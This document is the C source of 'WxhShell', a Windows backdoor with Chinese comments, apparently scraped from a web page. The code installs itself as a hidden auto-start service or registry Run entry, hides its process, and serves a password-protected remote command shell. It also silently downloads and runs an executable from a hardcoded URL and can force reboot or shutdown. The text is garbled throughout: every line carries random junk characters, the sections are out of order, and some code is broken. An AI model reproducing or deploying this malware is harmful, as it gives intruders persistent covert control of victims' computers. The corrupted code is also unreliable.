    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J0|}u1? l  
    if(Boot(SHUTDOWN)) w G Q{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dl/_jM  
    else { XT_BiZ%l5O  
    closesocket(wsh); ?8 C+wW  
    ExitThread(0); 4/ U]7Y  
    } _.06^5o  
    break; M+^K,  
    } #(*WxVE  
  // 获取shell 6YU2  !x  
  case 's': { C5RDP~au  
    CmdShell(wsh); uf)W? `e~  
    closesocket(wsh); Lou4M  
    ExitThread(0); .^.UJo;4G  
    break; 90aPIs-  
  } ^! ZjK-$A<  
  // 退出 cCV"(Oo[H|  
  case 'x': { {Q(6 .0R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P[nWmY  
    CloseIt(wsh); |2 wff?  
    break; NV-9C$<n2!  
    } /9w}[y*E  
  // 离开 |H_)u  
  case 'q': { Pe wPl0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X7c*T /  
    closesocket(wsh); Yhw* `"X  
    WSACleanup(); khv!\^&DD  
    exit(1); = xX^  
    break; BK d(  
        } \ bT]?.si  
  } n"K7@[d  
  } Z ''P5B;  
YJ16vb9  
  // 提示信息 5!ReW39c ;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /?XfVhA:A  
} =OZ_\vO  
  } f|^f^Hu:{  
}Rux<=cd|  
  return; t2Y~MyT/  
} |b3/63Ri-0  
usTCn3u  
// shell模块句柄 V!<#E)-?<  
int CmdShell(SOCKET sock) l*:p==  
{ S8)awTA9  
STARTUPINFO si;  B-gr2-  
ZeroMemory(&si,sizeof(si)); 3MzY]J y(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M7> \Qk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iRVLo~  
PROCESS_INFORMATION ProcessInfo; _gGy(`  
char cmdline[]="cmd"; ? sewU9*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L2h+[f  
  return 0; 6~/H#8Kdn  
} P*T)/A%4  
)eV40l$ M  
// 自身启动模式 w9PY^U.Y3e  
int StartFromService(void) ::`j@ ]  
{ |B`tRq  
typedef struct ?GC0dN  
{ j5)qF1W,  
  DWORD ExitStatus; 7=AKQ7BB>b  
  DWORD PebBaseAddress; 5#F+-9r  
  DWORD AffinityMask; ` cv:p|s  
  DWORD BasePriority; 5UM[Iz  
  ULONG UniqueProcessId; 5,((JxX$  
  ULONG InheritedFromUniqueProcessId; 5k(#kyP  
}   PROCESS_BASIC_INFORMATION; 68!fcK  
vxt^rBA  
PROCNTQSIP NtQueryInformationProcess; ,RHHNTB("  
-oo=IUk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o_N02l4J)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ji[w; [qL  
g:clSN,  
  HANDLE             hProcess; '~cEdGD9H  
  PROCESS_BASIC_INFORMATION pbi; gPi_+-@  
>lW*%{|b$^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J@TM>R  
  if(NULL == hInst ) return 0; 3*TS 4xX  
(~GFd7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a wK'XFk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [Bh]\I'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ja&%J:  
NE4fQi?3  
  if (!NtQueryInformationProcess) return 0; W*m[t&;  
tVcs r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mN*P 2 *  
  if(!hProcess) return 0; ZD{srEa/a  
aS7zG2R4H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `+o.w#cl  
YC_^jRB8n  
  CloseHandle(hProcess); FTfA\/tl(;  
/ fq6-;co+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PS22$_}   
if(hProcess==NULL) return 0; ("oA{:@d  
0R]CI  
HMODULE hMod; %E\%nTV  
char procName[255]; kt#W~n  
unsigned long cbNeeded; h,+=h;!  
z>:7}=H0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <X |h *  
bH{aI:9Fb  
  CloseHandle(hProcess); c" 7pf T  
gsp 7N  
if(strstr(procName,"services")) return 1; // 以服务启动 OQQ9R?Ll{  
k#(cZ  
  return 0; // 注册表启动 dL` +^E>  
} ,f+5x]F?m  
9gg,Dy  
// 主模块 w0!,1 Ry  
int StartWxhshell(LPSTR lpCmdLine) ]t3"0  
{ 2~DPq p[  
  SOCKET wsl; >nDnb4 'C  
BOOL val=TRUE; ,]mwk~HeF  
  int port=0; =R.9"7~2x  
  struct sockaddr_in door; ks;wc"k"  
5uer [1A  
  if(wscfg.ws_autoins) Install(); }A7qIys$4  
/8>/"Z2S  
port=atoi(lpCmdLine);  ^gyp- !  
y^\#bpq&\  
if(port<=0) port=wscfg.ws_port; @RIEO%S  
c1J)yv1y  
  WSADATA data; h$k3MhYDes  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '>Y 2lqa  
=7Vl{>*1N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   => =x0gsgj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,`zRlkX  
  door.sin_family = AF_INET; i)i)3K2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ekme62Q>u  
  door.sin_port = htons(port); k#JG  
&'b}N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l%(`<a]VIB  
closesocket(wsl); \ZRoTh  
return 1; ~N^vE;  
} _%vqBr*  
b H_pNx81  
  if(listen(wsl,2) == INVALID_SOCKET) { X); Zm7  
closesocket(wsl); &;U7/?Q  
return 1; Q; /F0JDH  
} Ch9!AUiR  
  Wxhshell(wsl); +~ Ay h[V  
  WSACleanup(); O)uM&B=  
J*!:ar  
return 0; ;-GzGDc~0  
pHB35=p28  
} y9li<u<PF  
Xb-c`k~_  
// 以NT服务方式启动  ,nR8l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D(6x'</>?  
{ }~r6>7I  
DWORD   status = 0; X,+}syK  
  DWORD   specificError = 0xfffffff; 6QXQ<ah"  
c dbSv=r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dMmka  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -Q PWi2:k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u7&'3ef  
  serviceStatus.dwWin32ExitCode     = 0; 5MY}(w  
  serviceStatus.dwServiceSpecificExitCode = 0; ;nKHm  
  serviceStatus.dwCheckPoint       = 0; B8AzN9v&"N  
  serviceStatus.dwWaitHint       = 0; SM+fG:4d  
kdh9ftm*\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @1?]$?u&  
  if (hServiceStatusHandle==0) return; [Cqqjv;_  
uQ]]]Z(H'  
status = GetLastError(); 36x:(-GFq  
  if (status!=NO_ERROR) !5%5]9'n@*  
{ asN }  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +`zi>=  
    serviceStatus.dwCheckPoint       = 0; L1kM~M  
    serviceStatus.dwWaitHint       = 0; Y\e]2  
    serviceStatus.dwWin32ExitCode     = status; ,/`E|eG1G  
    serviceStatus.dwServiceSpecificExitCode = specificError; C!{AnWf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NS4'IR=;E!  
    return; r`R~{;oT  
  } C<t'f(4s`u  
-^4bA<dCCE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >2CusT2  
  serviceStatus.dwCheckPoint       = 0; NJ)2+  
  serviceStatus.dwWaitHint       = 0; 3U"')  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dbdzb m7  
} )6:]o&bZ  
Lv5X 'yM  
// 处理NT服务事件,比如:启动、停止 aZjef  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2\63&C^  
{ 3zTE4pHzu+  
switch(fdwControl) fj-pNl6Gf  
{ 2"+x(Ax  
case SERVICE_CONTROL_STOP: =ym  
  serviceStatus.dwWin32ExitCode = 0; [AX"ne# M*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [TK? P0  
  serviceStatus.dwCheckPoint   = 0; +'['HQ)  
  serviceStatus.dwWaitHint     = 0; I\rZk9F  
  { ::OFW@dS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *V6QB e  
  } Sm$j:xw <  
  return; .pIR/2U\F  
case SERVICE_CONTROL_PAUSE: e(w/m(!Wny  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; { w8 !K  
  break; ]\RSHz  
case SERVICE_CONTROL_CONTINUE: { LT4u ]#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _TOi [G T  
  break; y,v0-o~q  
case SERVICE_CONTROL_INTERROGATE: <L/M`(:=k  
  break; XK%W^a*x  
}; }or2 $\>m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L+L"$  
} `Ix s7{&jU  
#K#Mv /  
// 标准应用程序主函数 &#-|Yh/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aXIB) $1  
{ o'^;tLs15  
WHgV_o 8  
// 获取操作系统版本 q)?p$\  
OsIsNt=GetOsVer(); O+o;aa6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4aN+}TkH@G  
P#[IUXtT  
  // 从命令行安装 4Hml.|$  
  if(strpbrk(lpCmdLine,"iI")) Install(); OgKWgvy  
<+\k&W&Y|y  
  // 下载执行文件 cK|rrwa0  
if(wscfg.ws_downexe) { wrQydI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]M~8 @K  
  WinExec(wscfg.ws_filenam,SW_HIDE); *f`s%&Y]s  
} i<#h]o C}  
 nOoKGT  
if(!OsIsNt) { i$[,-4 v  
// 如果时win9x,隐藏进程并且设置为注册表启动 MOP]\ypn  
HideProc(); $v:gBlj%"  
StartWxhshell(lpCmdLine); np-T&Pz2  
} K}PvrcO1  
else : 'd76pM-  
  if(StartFromService()) emv;m/&8  
  // 以服务方式启动 (|<h^] y3  
  StartServiceCtrlDispatcher(DispatchTable); Bw 3F7W~l  
else p;qRm} 0}  
  // 普通方式启动 h-r6PY=i  
  StartWxhshell(lpCmdLine); Nt zq"ces)  
QT1:> k  
return 0; l5=u3r9WYC  
} 6%ZHP?  
H_?;h-Y]  
1UW s_|X!  
e(}oq"'z  
=========================================== h4Xc Kv+  
WYwzo V-  
_x\-!&[p  
VLh%XoQx[  
rWoe ?g  
#Rin*HL##  
" &<gUFcw7Ui  
7szls71/=  
#include <stdio.h> j`2B}@2  
#include <string.h> Z!wD~C"D73  
#include <windows.h> d[Rb:Y w  
#include <winsock2.h> |h^K M  
#include <winsvc.h> ;JOD!|  
#include <urlmon.h> "H5&3sF2  
a3O nW\N  
#pragma comment (lib, "Ws2_32.lib") fDU+3b  
#pragma comment (lib, "urlmon.lib") cP*c(k~N  
 : cFF  
#define MAX_USER   100 // 最大客户端连接数 rD0k%-{{  
#define BUF_SOCK   200 // sock buffer M MAAHo  
#define KEY_BUFF   255 // 输入 buffer ?_VRfeztw  
*he7BUO  
#define REBOOT     0   // 重启 e> ar  
#define SHUTDOWN   1   // 关机 iD%qy/I/  
0=OD?48<  
#define DEF_PORT   5000 // 监听端口 E x_L!9>!  
D^,\cZbY  
#define REG_LEN     16   // 注册表键长度 M'\pkzx  
#define SVC_LEN     80   // NT服务名长度 CxJfrI_W  
pNp^q/- yB  
// 从dll定义API J3H.%m!V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KU+( YF$1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d@-wi%,^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YO)')&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LIr(mB"Y0  
R]CZw;zS_  
// wxhshell配置信息 3hc#FmLr2b  
struct WSCFG { `6rrXU6|  
  int ws_port;         // 监听端口 .r~'(g{qt  
  char ws_passstr[REG_LEN]; // 口令 TT|-aS0l(u  
  int ws_autoins;       // 安装标记, 1=yes 0=no ob0~VEH-  
  char ws_regname[REG_LEN]; // 注册表键名 7 ,$axvLw  
  char ws_svcname[REG_LEN]; // 服务名 R `;o!B}[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H \r`7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -&trk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -"F0eV+y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8dc538:q}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _kh>Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BiA >QQ  
Ru)(dvk}S  
}; e@[9C(5E"  
>RM 0=bO  
// default Wxhshell configuration [/?c@N,  
struct WSCFG wscfg={DEF_PORT, v-ThdE$G#  
    "xuhuanlingzhe", ^[en3aQ  
    1, 6/|U  
    "Wxhshell", c2/FHI0J;  
    "Wxhshell", rW[SU:  
            "WxhShell Service", 'yE*|Sx  
    "Wrsky Windows CmdShell Service", `/c7h16  
    "Please Input Your Password: ", lNHNL a>W  
  1, yHl@_rN sC  
  "http://www.wrsky.com/wxhshell.exe", M6\7FP6G  
  "Wxhshell.exe" @|^jq  
    }; Z%Vr+)!4  
?hKm&B;d  
// 消息定义模块 6%>/og\%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !2(.$}E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cq gJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yP x\ltG3  
char *msg_ws_ext="\n\rExit."; 2.]~*7   
char *msg_ws_end="\n\rQuit."; P!5Z]+B#  
char *msg_ws_boot="\n\rReboot..."; Bk+{}  
char *msg_ws_poff="\n\rShutdown..."; P2>:p%Z  
char *msg_ws_down="\n\rSave to "; 8AryIgy>@  
D^n xtuT*  
char *msg_ws_err="\n\rErr!"; p[u4,  
char *msg_ws_ok="\n\rOK!"; C+`xx('N9  
.XIr?>G  
char ExeFile[MAX_PATH]; THJ 3-Ug  
int nUser = 0; Ax f^hBP  
HANDLE handles[MAX_USER]; l7ZB3'  
int OsIsNt; (JWv *p  
@2u#93Y  
SERVICE_STATUS       serviceStatus; D{>\-]\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N50fL  
?<E0zM+  
// 函数声明 : aH%bk  
int Install(void); MZ)T0|S_  
int Uninstall(void); A hR0zg  
int DownloadFile(char *sURL, SOCKET wsh); F%}7cm2  
int Boot(int flag); \Y9I~8\ gB  
void HideProc(void); :xM}gPj"  
int GetOsVer(void); YhS{$ Z  
int Wxhshell(SOCKET wsl); mzu<C)9d,  
void TalkWithClient(void *cs); z<t>hzl 7  
int CmdShell(SOCKET sock); <E SvvTf  
int StartFromService(void); U3/8A:$y  
int StartWxhshell(LPSTR lpCmdLine); mdaYYD=c%  
# J]~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;t|,nz4kJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aF!WIvir  
zLL)VFCJW  
// 数据结构和表定义 b) Ux3PB  
SERVICE_TABLE_ENTRY DispatchTable[] = ~ibF M5m  
{ e^=NL>V6p  
{wscfg.ws_svcname, NTServiceMain}, g*F~8+]Y  
{NULL, NULL} Y!M~#oqio  
}; !f`5B( @  
5\&]J7(  
// 自我安装 } #qQ2NCH  
int Install(void) $.9 +{mz  
{ '<W<B!HP5Z  
  char svExeFile[MAX_PATH]; !x8kB Di,  
  HKEY key; L $SMfx  
  strcpy(svExeFile,ExeFile); T!(sZf  
7x(v?  
// 如果是win9x系统,修改注册表设为自启动 .D!WO  
if(!OsIsNt) { w]}f6VlEl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^( DL+r,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J B(<.E 2  
  RegCloseKey(key); 5~QT g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $7Cgo&J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {U^j&E  
  RegCloseKey(key); <W2ZoqaV  
  return 0; xdqK.Z%  
    } 7C?E z%a@  
  } U:\p$hL9  
} BtzYA"  
else { F*,5\s<  
mVt3WZa  
// 如果是NT以上系统,安装为系统服务 3[.3dy7,Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nSHNis  
if (schSCManager!=0) \WX@PfL  
{ T=>vh*J  
  SC_HANDLE schService = CreateService }1Z6e[K?  
  ( tJAnuhX  
  schSCManager, L?Cjo4xS  
  wscfg.ws_svcname, l/ QhD?)9  
  wscfg.ws_svcdisp, :xtT)w  
  SERVICE_ALL_ACCESS, f]]f85  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L0xsazX:x  
  SERVICE_AUTO_START,  pr/'J!{^  
  SERVICE_ERROR_NORMAL, K'V 2FTJI  
  svExeFile, cl_T F[n?  
  NULL, a MsJO*;>  
  NULL, x%pRDytA  
  NULL, ,WGc7NN`  
  NULL, %0zS  
  NULL 'gCZ'edM  
  ); 6uqUiRs()  
  if (schService!=0)  HD H  
  { lCHo+>\Z  
  CloseServiceHandle(schService); ?aFZOc4   
  CloseServiceHandle(schSCManager); c})wD+1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u-:MVEm  
  strcat(svExeFile,wscfg.ws_svcname); LZa% x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xj7vI&u.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n$xszuNJ`  
  RegCloseKey(key); MOeoU1Hn  
  return 0; <%&_#<C)  
    } hX3@f;[B2  
  } Q vJZkGX  
  CloseServiceHandle(schSCManager); =|"= l1  
} gvlFumg2  
} (gU2"{:]J  
]w-.|vx  
return 1; F 3s?&T)[G  
} DN<M?u]  
?<6@^X"  
// 自我卸载 c$A@T~$  
int Uninstall(void) -"tY{}z  
{ kP?_kMOx  
  HKEY key; qlvwK&W<QM  
TL@mM  
if(!OsIsNt) { ^e%k~B^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fpf><Rn  
  RegDeleteValue(key,wscfg.ws_regname); >jKjh!`)!e  
  RegCloseKey(key); 1mix+.d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XL~>rw<  
  RegDeleteValue(key,wscfg.ws_regname); |T y=7d,  
  RegCloseKey(key); h1-Gp3#  
  return 0; p#=;)1  
  } EZ{\D!_Y  
} +q-c 8z  
} /B[}I}X  
else { U!Mf]3  
`S$sQ&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U6c@Et,  
if (schSCManager!=0) . pP7"E4]  
{ ,cD1{T\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5k~\or 5_  
  if (schService!=0) m9!DOL1pl  
  { A_F0\ EN*  
  if(DeleteService(schService)!=0) { }*Zo6{B-  
  CloseServiceHandle(schService); N<n8'XDdG  
  CloseServiceHandle(schSCManager); )qd= {  
  return 0; z7k$0&  
  } P5P< "  
  CloseServiceHandle(schService); t R ;{.  
  } q5?{ 1  
  CloseServiceHandle(schSCManager); gwq`_/d}  
} }hq^+fC?  
} Y/D -V  
O8y9dX-2  
return 1; C=[Ae,  
} ~1ps7[  
U{HML|  
// 从指定url下载文件 xW0Z'==  
int DownloadFile(char *sURL, SOCKET wsh) x?=B\8m  
{ }AJ L,Q7q  
  HRESULT hr; =y<0UU  
char seps[]= "/"; Gnv!]c&S>l  
char *token; {$|/|*  
char *file; I=5dYq4 l  
char myURL[MAX_PATH]; 63C(Tp"  
char myFILE[MAX_PATH]; PkO!'X  
])UwC-l  
strcpy(myURL,sURL); I*( 1.%:m  
  token=strtok(myURL,seps); j.B>v\b_3  
  while(token!=NULL) f~R[&q +  
  { A _i zSzC1  
    file=token; bBG/gQ  
  token=strtok(NULL,seps); *v&*% B  
  } }H2#H7!H  
l?<q YjI  
GetCurrentDirectory(MAX_PATH,myFILE); +`Fb_m)f  
strcat(myFILE, "\\"); ~QCA -Yud  
strcat(myFILE, file); Ck@M<(x  
  send(wsh,myFILE,strlen(myFILE),0); B.RRdK+:  
send(wsh,"...",3,0); y;r"+bS8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #<]Iz'\`  
  if(hr==S_OK) Wp`C:H  
return 0; 3C#RjA-2[  
else zb?kpd}r  
return 1; 7*MU2gb  
o$t &MST?i  
} P=Puaz5&{  
4i`S+`#  
// 系统电源模块 >j:|3atb  
int Boot(int flag) cd+^=esSO  
{ 0-GKu d  
  HANDLE hToken; {(!)P  
  TOKEN_PRIVILEGES tkp; Pt(tRHB  
4&]%e6,jH  
  if(OsIsNt) { 5;(0 $4I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }k| g%H J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (V)9s\Le_  
    tkp.PrivilegeCount = 1; *_#&"(P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u uSHCp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F3 Y<ZbxT  
if(flag==REBOOT) { {6:& %V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3; A$<s  
  return 0; nd;O(s;  
} kU1 %f o  
else { 7JS#a=D#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &urb!tQ>&  
  return 0; gW}}5Xq  
} eVrNYa1>H  
  } (rIXbekgB  
  else { ,# eO&  
if(flag==REBOOT) { Lrlk*   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FCAJavOGH  
  return 0; H4 =IY  
} U1jSUkqb  
else { I:HV6_/^-G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $YPQC  
  return 0; #r(a~  
} c8q G\\t[  
} F'XlJ M  
 tI'e ctn  
return 1; \QiqcD9Y  
} /3s@6Ex}E  
%; qY  '+  
// win9x进程隐藏模块 5c)wZ  
void HideProc(void) aX]y`  
{ Lg b  
1 0V+OIC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FbuKZp+  
  if ( hKernel != NULL ) c[Yq5Bu{y  
  { ]a=l^Pc(xN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PB@-U.Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t:disL& !E  
    FreeLibrary(hKernel); =@%MV(  
  } =^by0E2  
cmae&Atotw  
return; *%nX#mwz  
} @YsL*zw  
4 #G3ew  
// 获取操作系统版本 [XxA.S)x3  
int GetOsVer(void) *50ZinfoG  
{ 9a-]T=5Ee  
  OSVERSIONINFO winfo; S`4e@Z$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nE4l0[_  
  GetVersionEx(&winfo); vRxL&8`&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a9L0f BRy  
  return 1; 0 oQ/J:  
  else f}A^]6MO:  
  return 0; _4O[[~  
} ID&zY;f  
X=\x&Wt  
// 客户端句柄模块 {<"[D([  
int Wxhshell(SOCKET wsl) Mg&HRE  
{ }WoX9M; 1  
  SOCKET wsh; 8`6 LMQ  
  struct sockaddr_in client; xR _DY'z  
  DWORD myID; RR8U Cv  
3EO#EYAHiM  
  while(nUser<MAX_USER)  POkXd^pI  
{ :K?iNZqWN6  
  int nSize=sizeof(client); S`fu+^c v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hY)YX,f=S  
  if(wsh==INVALID_SOCKET) return 1; qgh]@JJh  
dnk1Mu<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uLF\K+cz  
if(handles[nUser]==0) 3$;J0{&[i  
  closesocket(wsh); N c9<X  
else Ogn,1nm%  
  nUser++; oK%K+h  
  } #xDDh`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +38Lojb}   
Sv~PXi^`H  
  return 0; 4D0(Fl  
} ?|\0)wrRf  
WReYF+Uen  
// 关闭 socket 65 NWX8f}  
void CloseIt(SOCKET wsh) J*/$ywI  
{  ;I[ .  
closesocket(wsh); zjzqKdy}F  
nUser--; @:I \\S@bN  
ExitThread(0); 4+ykE:  
} 9 <y/Wv  
Uzy ;#q  
// 客户端请求句柄 *vEU}SxRuv  
void TalkWithClient(void *cs) xtG)^x!  
{ $eTv6B?m  
h4B+0  
  SOCKET wsh=(SOCKET)cs; <#:Ebofsn  
  char pwd[SVC_LEN]; _Jt_2o%G  
  char cmd[KEY_BUFF]; ]KfghRUH  
char chr[1]; A632 :V  
int i,j; &:IfhS  
jqV)V>M.  
  while (nUser < MAX_USER) { aU,0gvI(}  
zS#f%{   
if(wscfg.ws_passstr) { Tq_1wX'\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H!Fr("6}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u66TrYStG  
  //ZeroMemory(pwd,KEY_BUFF); 56 /.*qa  
      i=0; N^)<)?  
  while(i<SVC_LEN) { 7/$nA<qM  
nI((ki}v  
  // 设置超时 $yP'k&b!  
  fd_set FdRead; 9J't[( u|u  
  struct timeval TimeOut; qen44;\L  
  FD_ZERO(&FdRead);  WMt&8W5  
  FD_SET(wsh,&FdRead); ~7FEY0/  
  TimeOut.tv_sec=8; P*?d6v,r  
  TimeOut.tv_usec=0; ^R&_}bp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <T4 7kLI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1mvu3}ewx  
w-{#6/<kI5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /@xr[=L  
  pwd=chr[0]; hnM9-hqm  
  if(chr[0]==0xd || chr[0]==0xa) { !xJLeQFJI]  
  pwd=0; !;BZ#tF&  
  break; |:J*>"sq  
  } <ls i.x\y<  
  i++; rF <iWM=  
    } RBMMXJj  
3}.mp}K 5  
  // 如果是非法用户,关闭 socket 0`aHwt/F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \{Ox@   
} _"FbjQ"  
 ==r ?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t6! p\Y}}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R(n0!h4  
;@=@N9q K  
while(1) { |1\dCE03}  
+ 3~Gc<OO  
  ZeroMemory(cmd,KEY_BUFF); .~V".tZV[  
x0TnS #  
      // 自动支持客户端 telnet标准   *IjdN,wox  
  j=0; ^Y*`D_-G  
  while(j<KEY_BUFF) { f6(9wz$Trt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O4'kS @  
  cmd[j]=chr[0]; ?[*@T2Ck  
  if(chr[0]==0xa || chr[0]==0xd) { m,kv EQ3  
  cmd[j]=0; |yId6v  
  break; * 7zN  
  } 8Pnqmjjj  
  j++; tOlzOBzR  
    } 9phD5b~j  
9>} (]T  
  // 下载文件 !Ed<xG/  
  if(strstr(cmd,"http://")) { *cb D&R\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (<AM+|  
  if(DownloadFile(cmd,wsh)) { 8|Z}?I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Oaso >  
  else ZQJw2LAgO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F(J!dG5#  
  } [4+a 1/^  
  else { D; 35@gtj  
\e5,`  
